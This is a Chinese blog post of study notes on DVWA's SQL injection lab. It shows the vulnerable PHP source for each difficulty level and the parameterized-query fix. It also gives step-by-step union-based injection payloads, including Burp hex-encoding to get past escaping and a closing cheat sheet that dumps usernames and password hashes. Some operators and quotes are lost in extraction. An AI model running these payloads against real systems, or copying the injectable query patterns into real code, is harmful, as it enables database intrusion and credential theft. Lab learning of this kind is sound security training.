DVWA——SQL Injection学习笔记

张开发
2026/4/8 23:39:56 15 分钟阅读

分享文章

DVWA——SQL Injection学习笔记
文章目录前言一、是什么二、步骤1.Low2.Medium3.High4.Impossible代码核心功能安全特性总结总结手工注入前言一、是什么二、步骤1.Low代码如下?phpif(isset($_REQUEST[Submit])){// Get input$id$_REQUEST[id];switch($_DVWA[SQLI_DB]){caseMYSQL:// Check database$querySELECT first_name, last_name FROM users WHERE user_id $id;;$resultmysqli_query($GLOBALS[___mysqli_ston],$query)ordie(pre.((is_object($GLOBALS[___mysqli_ston]))?mysqli_error($GLOBALS[___mysqli_ston]):(($___mysqli_resmysqli_connect_error())?$___mysqli_res:false))./pre);// Get resultswhile($rowmysqli_fetch_assoc($result)){// Get values$first$row[first_name];$last$row[last_name];// Feedback for end userechopreID:{$id}br /First name:{$first}br /Surname:{$last}/pre;}mysqli_close($GLOBALS[___mysqli_ston]);break;caseSQLITE:global$sqlite_db_connection;#$sqlite_db_connection new SQLite3($_DVWA[SQLITE_DB]);#$sqlite_db_connection-enableExceptions(true);$querySELECT first_name, last_name FROM users WHERE user_id $id;;#print $query;try{$results$sqlite_db_connection-query($query);}catch(Exception$e){echoCaught exception: .$e-getMessage();exit();}if($results){while($row$results-fetchArray()){// Get values$first$row[first_name];$last$row[last_name];// Feedback for end userechopreID:{$id}br /First name:{$first}br /Surname:{$last}/pre;}}else{echoError in fetch .$sqlite_db-lastErrorMsg();}break;}}?首先输入1进去发现正常显示然后加个单引号再回车发现报错那么推断出此处为字符型的注入构建1’ or ‘1’1发现爆出来了所有用户此处存在注入点然后查看有多少列适用order by 1#检查第一列存在性#注释掉后面的sql语句当我们1’ order by 3#的时候报错显示没有这一列然后我们再用union select联合查询1’ union select 1,database()#先查数据库的名字发现是dvwa1’ union select 1,table_name from information_schema.tables where table_schema‘dvwa’#获取名为’dvwa’的数据库中的所有表名1’ union select 1,column_name from information_schema.columns where table_name‘users’#通过注入攻击获取数据库中特定表本例中为users表的所有字段名发现有用户名和密码的字段提取字段1’ union select user,password from users#2.Medium后端代码如下?phpif(isset($_POST[Submit])){// Get input$id$_POST[id];// 对输入进行转义防止 SQL 注入但实际上无效因为下面没有用引号包裹变量// mysqli_real_escape_string 只转义特殊字符如单引号、双引号等对数字型注入无效$idmysqli_real_escape_string($GLOBALS[___mysqli_ston],$id);switch($_DVWA[SQLI_DB]){caseMYSQL:$querySELECT first_name, last_name FROM users WHERE user_id $id;;$resultmysqli_query($GLOBALS[___mysqli_ston],$query)ordie(pre.mysqli_error($GLOBALS[___mysqli_ston])./pre);// Get resultswhile($rowmysqli_fetch_assoc($result)){// Display values$first$row[first_name];$last$row[last_name];// Feedback for end userechopreID:{$id}br /First name:{$first}br /Surname:{$last}/pre;}break;caseSQLITE:global$sqlite_db_connection;$querySELECT first_name, last_name FROM users WHERE user_id $id;;#print $query;try{$results$sqlite_db_connection-query($query);}catch(Exception$e){echoCaught exception: .$e-getMessage();exit();}if($results){while($row$results-fetchArray()){// Get values$first$row[first_name];$last$row[last_name];// Feedback for end userechopreID:{$id}br /First name:{$first}br /Surname:{$last}/pre;}}else{echoError in fetch .$sqlite_db-lastErrorMsg();}break;}}// This is used later on in the index.php page// Setting it here so we can close the database connection in here like in the rest of the source scripts$querySELECT COUNT(*) FROM users;;$resultmysqli_query($GLOBALS[___mysqli_ston],$query)ordie(pre.((is_object($GLOBALS[___mysqli_ston]))?mysqli_error($GLOBALS[___mysqli_ston]):(($___mysqli_resmysqli_connect_error())?$___mysqli_res:false))./pre);$number_of_rowsmysqli_fetch_row($result)[0];mysqli_close($GLOBALS[___mysqli_ston]);?打开burp suite开始拦截把拦截的包放入重放器里面发现是post包那么数据在正文里发现加个单引号报错那么还是字符型但是用low的方法进行尝试发现一直报错显示错误You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’ or ‘1’‘1’ at line 1我们发现我们的单引号都被注释处理了那么我们再试试数字型然后我们发现还是两列同low查询库、表、字段、值3 union select 1,database()# //得到库名3 union select 1,table_name from information_schema.tables where table_schema0x64767761# //得到表名因为单引号被转义使用BurpSuite的Decoder模块将’dvwa’转为16进制自行添加0x3 union select 1,column_name from information_schema.columns wheretable_schema0x64767761 and table_name0x7573657273# //得到字段转16进制同理3 union select user,password from users# //得到值3.High?phpif(isset($_SESSION[id])){// Get input$id$_SESSION[id];switch($_DVWA[SQLI_DB]){caseMYSQL:// Check database$querySELECT first_name, last_name FROM users WHERE user_id $id LIMIT 1;;$resultmysqli_query($GLOBALS[___mysqli_ston],$query)ordie(preSomething went wrong./pre);// Get resultswhile($rowmysqli_fetch_assoc($result)){// Get values$first$row[first_name];$last$row[last_name];// Feedback for end userechopreID:{$id}br /First name:{$first}br /Surname:{$last}/pre;}((is_null($___mysqli_resmysqli_close($GLOBALS[___mysqli_ston])))?false:$___mysqli_res);break;caseSQLITE:global$sqlite_db_connection;$querySELECT first_name, last_name FROM users WHERE user_id $id LIMIT 1;;#print $query;try{$results$sqlite_db_connection-query($query);}catch(Exception$e){echoCaught exception: .$e-getMessage();exit();}if($results){while($row$results-fetchArray()){// Get values$first$row[first_name];$last$row[last_name];// Feedback for end userechopreID:{$id}br /First name:{$first}br /Surname:{$last}/pre;}}else{echoError in fetch .$sqlite_db-lastErrorMsg();}break;}}?我们发现我们输入的不在submit里面在这个窗口构造语句即可显示的结果是在主界面剩下内容和lowmedium一样4.Impossible?php// 检查是否通过 GET 方式提交了名为 Submit 的参数通常来自查询表单if(isset($_GET[Submit])){// 1. CSRF 令牌验证防止跨站请求伪造// 比较用户提交的 user_token 和会话中存储的 session_token不一致则重定向到 index.phpcheckToken($_REQUEST[user_token],$_SESSION[session_token],index.php);// 2. 获取用户输入的 ID来自 URL 参数$id$_GET[id];// 3. 验证输入是否为数字if(is_numeric($id)){// 4. 将 ID 转换为整数进一步确保是数字同时去除前导零等$idintval($id);// 根据全局配置的数据库类型选择不同的处理方式switch($_DVWA[SQLI_DB]){caseMYSQL:// MySQL 数据库// 5. 使用 PDO 预编译语句prepareSQL 中 :id 是命名占位符$data$db-prepare(SELECT first_name, last_name FROM users WHERE user_id (:id) LIMIT 1;);// 绑定参数明确指定类型为整数PDO::PARAM_INT$data-bindParam(:id,$id,PDO::PARAM_INT);// 执行查询$data-execute();// 获取结果行$row$data-fetch();// 确保只返回一行结果防止恶意构造导致多行泄露if($data-rowCount()1){// 提取字段值$first$row[first_name];$last$row[last_name];// 安全地输出结果$id 已经是整数$first/$last 来自数据库但输出前最好转义echopreID:{$id}br /First name:{$first}br /Surname:{$last}/pre;}break;caseSQLITE:// SQLite 数据库global$sqlite_db_connection;// 6. SQLite3 预编译语句占位符 :id$stmt$sqlite_db_connection-prepare(SELECT first_name, last_name FROM users WHERE user_id :id LIMIT 1;);// 绑定整数值第三个参数明确类型为 SQLITE3_INTEGER$stmt-bindValue(:id,$id,SQLITE3_INTEGER);// 执行查询$result$stmt-execute();$result-finalize();// 释放结果集可选if($result!false){// 注意SQLite3 结果集无法直接获取行数以下检查列数作为预防$num_columns$result-numColumns();if($num_columns2){// 确保查询返回两列first_name, last_name$row$result-fetchArray();// 获取第一行$first$row[first_name];$last$row[last_name];echopreID:{$id}br /First name:{$first}br /Surname:{$last}/pre;}}break;}}// 如果输入不是数字则什么都不做页面可能无输出}// 7. 生成新的 CSRF 令牌用于下次表单generateSessionToken();?代码核心功能用户通过 GET 参数id提交数字查询数据库中对应user_id的用户姓名。要求同时提交正确的 CSRF 令牌user_token防止跨站请求伪造。使用预编译语句PDO for MySQLSQLite3 for SQLite参数化查询从根本上杜绝 SQL 注入。输入验证is_numeric()intval()确保$id是整数。输出仅当查询结果唯一时显示避免批量数据泄露。最后重新生成 CSRF 令牌提高安全性。安全特性总结防护措施实现SQL 注入PDO / SQLite3 预编译 参数绑定 类型指定CSRF令牌校验 自动刷新输入验证is_numeric()intval()信息泄露控制限制LIMIT 1 检查行数 / 列数总结Low直接拼接$_GET[id]无任何防护可轻松注入。Medium使用mysqli_real_escape_string() 引号包裹但仍有数字型注入风险或绕过可能。Impossible本代码参数化查询 CSRF 令牌是目前最安全的写法。order by 用于在select 语句中按照指定的列进行排序union select将语句注入到原始查询的条件语句中从而获得联合查询后的结果group_concat() 将多个查询结果组合起来并使用逗号、空格、分号等符号来分隔各个值information_schema元数据存储库包含有关数据库结构和对象的详细信息例如表列、约束、索引、用户、角色、权限等information_schema.tables information_schema中所有的表information_schema.columns information_schema中所有的列Table_schema需要检索的数据库名称Table_name需要检索的表名column_name需要检索的列名手工注入1’ union select 1,database() # 获取数据库名1’ union select 1,group_concat(table_name) from information_schema.tables where table_schemadatabase() # 获取指定数据库内的表名1’ union select 1,group_concat(column_name) from information_schema.columns where table_name‘users’ # 获取指定表内的字段名1’ or 11 union select group_concat(user_id,first_name,last_name),group_concat(password) from users # 获取字段名下的各个值

更多文章